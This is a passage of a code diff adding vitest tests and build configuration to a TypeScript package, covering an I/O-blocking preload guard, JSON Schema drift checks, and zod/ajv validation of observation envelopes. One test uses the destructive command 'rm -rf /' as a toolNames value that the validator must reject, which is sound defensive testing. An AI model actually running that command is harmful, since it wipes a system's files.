||||
// A tiny inline module that imports fs must fail under the preload, proving
|
||||
// the guardrail can detect I/O — otherwise the passing test above is vacuous.
|
||||
const result = spawnSync(
|
||||
process.execPath,
|
||||
['--import', registerPreload, '--input-type=module', '--eval', "await import('node:fs')"],
|
||||
{ cwd: pkgRoot, encoding: 'utf8' },
|
||||
)
|
||||
expect(result.status).not.toBe(0)
|
||||
expect(result.stderr).toContain('blocked I/O module import')
|
||||
})
|
||||
})
|
||||
26
packages/core/tests/schema-drift.test.ts
Normal file
26
packages/core/tests/schema-drift.test.ts
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
import { readFileSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { buildJsonSchemas } from '../src/internal/json-schema.js'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const schemasDir = resolve(here, '..', 'schemas')
|
||||
|
||||
/**
|
||||
* DRIFT GUARD. The checked-in JSON Schemas must equal a fresh emission from the
|
||||
* zod validators. If a validator changes and `npm run emit-schemas` was not
|
||||
* re-run, this fails — so the artifact can never silently diverge from source.
|
||||
*/
|
||||
describe('JSON Schema drift', () => {
|
||||
const fresh = buildJsonSchemas()
|
||||
|
||||
for (const name of Object.keys(fresh)) {
|
||||
it(`${name}.json matches a fresh emission`, () => {
|
||||
const onDisk = JSON.parse(readFileSync(resolve(schemasDir, `${name}.json`), 'utf8'))
|
||||
expect(onDisk).toEqual(fresh[name])
|
||||
})
|
||||
}
|
||||
})
|
||||
100
packages/core/tests/schema.test.ts
Normal file
100
packages/core/tests/schema.test.ts
Normal file
|
|
@ -0,0 +1,100 @@
|
|||
import { readFileSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
import Ajv from 'ajv'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { Finding } from '../src/contracts.js'
|
||||
import { ObservationEnvelope } from '../src/observations.js'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const pkgRoot = resolve(here, '..')
|
||||
|
||||
function readJson(rel: string): unknown {
|
||||
return JSON.parse(readFileSync(resolve(pkgRoot, rel), 'utf8'))
|
||||
}
|
||||
|
||||
const goldenEnvelope = readJson('tests/fixtures/golden-envelope.json')
|
||||
const goldenFinding = readJson('tests/fixtures/golden-finding.json')
|
||||
const observationSchema = readJson('schemas/observation-0.1.0.json') as object
|
||||
const findingSchema = readJson('schemas/finding-0.1.0.json') as object
|
||||
|
||||
// strict:false so unknown string formats (date-time) are ignored rather than
|
||||
// erroring — we validate structure/shape, not RFC date grammar (zod already
|
||||
// enforces the timestamp format on the runtime side).
|
||||
const ajv = new Ajv({ strict: false, allErrors: true })
|
||||
// date-time is a semantic annotation here; zod enforces the timestamp format at
|
||||
// runtime, so we register it as always-valid to keep ajv from warning.
|
||||
ajv.addFormat('date-time', true)
|
||||
const validateEnvelope = ajv.compile(observationSchema)
|
||||
const validateFinding = ajv.compile(findingSchema)
|
||||
|
||||
/**
|
||||
* THREE-WAY AGREEMENT.
|
||||
*
|
||||
* For each golden fixture we assert all three views of the contract accept it:
|
||||
* 1. TypeScript types — this file imports the inferred types and compiles.
|
||||
* 2. zod validator — the runtime source-of-truth.
|
||||
* 3. JSON Schema — the checked-in artifact, validated with ajv.
|
||||
*
|
||||
* We use ajv (a real JSON Schema validator, already in the tree) rather than a
|
||||
* structural comparison because only real validation proves the emitted schema
|
||||
* actually ACCEPTS conforming data — a structural diff would only prove the two
|
||||
* shapes look alike, not that the schema is usable by an external consumer.
|
||||
*/
|
||||
describe('three-way agreement: golden envelope', () => {
|
||||
it('zod accepts it', () => {
|
||||
const parsed = ObservationEnvelope.safeParse(goldenEnvelope)
|
||||
expect(parsed.success, JSON.stringify((parsed as { error?: unknown }).error)).toBe(true)
|
||||
})
|
||||
|
||||
it('JSON Schema (ajv) accepts it', () => {
|
||||
const ok = validateEnvelope(goldenEnvelope)
|
||||
expect(ok, JSON.stringify(validateEnvelope.errors)).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('three-way agreement: golden finding', () => {
|
||||
it('zod accepts it', () => {
|
||||
const parsed = Finding.safeParse(goldenFinding)
|
||||
expect(parsed.success, JSON.stringify((parsed as { error?: unknown }).error)).toBe(true)
|
||||
})
|
||||
|
||||
it('JSON Schema (ajv) accepts it', () => {
|
||||
const ok = validateFinding(goldenFinding)
|
||||
expect(ok, JSON.stringify(validateFinding.errors)).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('strictness / structural minimization', () => {
|
||||
it('zod rejects an unknown top-level field', () => {
|
||||
expect(ObservationEnvelope.safeParse({ ...(goldenEnvelope as object), title: 'x' }).success).toBe(false)
|
||||
})
|
||||
|
||||
it('JSON Schema also rejects an unknown top-level field (additionalProperties:false)', () => {
|
||||
expect(validateEnvelope({ ...(goldenEnvelope as object), title: 'x' })).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a call whose measuredCostUSD is set without a measured costBasis', () => {
|
||||
const env = structuredClone(goldenEnvelope) as {
|
||||
sessions: { calls: Array<Record<string, unknown>> }[]
|
||||
}
|
||||
env.sessions[0].calls[1].measuredCostUSD = 0.99 // this call is 'estimated'
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a toolNames entry that carries arguments', () => {
|
||||
const env = structuredClone(goldenEnvelope) as {
|
||||
sessions: { calls: Array<Record<string, unknown>> }[]
|
||||
}
|
||||
env.sessions[0].calls[0].toolNames = ['Bash(rm -rf /)']
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a non-fingerprint sessionRef', () => {
|
||||
const env = structuredClone(goldenEnvelope) as { sessions: Array<Record<string, unknown>> }
|
||||
env.sessions[0].sessionRef = 'raw-session-id-not-a-hash'
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
})
|
||||
|
|
@ -7,11 +7,10 @@
|
|||
"esModuleInterop": true,
|
||||
"skipLibCheck": true,
|
||||
"outDir": "dist",
|
||||
"rootDir": "src",
|
||||
"declaration": true,
|
||||
"sourceMap": true,
|
||||
"resolveJsonModule": true
|
||||
},
|
||||
"include": ["src/**/*"],
|
||||
"include": ["src/**/*", "tests/**/*", "scripts/**/*"],
|
||||
"exclude": ["node_modules", "dist"]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,7 +1,16 @@
|
|||
import { defineConfig } from 'tsup'
|
||||
|
||||
export default defineConfig({
|
||||
entry: ['src/index.ts'],
|
||||
// One entry per exports-map subpath. `internal/*` is deliberately excluded so
|
||||
// `zod-to-json-schema` never enters the runtime bundle.
|
||||
entry: [
|
||||
'src/index.ts',
|
||||
'src/schema.ts',
|
||||
'src/observations.ts',
|
||||
'src/diagnostics.ts',
|
||||
'src/fingerprint.ts',
|
||||
'src/contracts.ts',
|
||||
],
|
||||
format: ['esm'],
|
||||
target: 'node20',
|
||||
outDir: 'dist',
|
||||
|
|
|
|||
7
packages/core/vitest.config.ts
Normal file
7
packages/core/vitest.config.ts
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
import { defineConfig } from 'vitest/config'
|
||||
|
||||
export default defineConfig({
|
||||
test: {
|
||||
include: ['tests/**/*.test.ts'],
|
||||
},
|
||||
})
|
||||
Loading…
Add table
Add a link
Reference in a new issue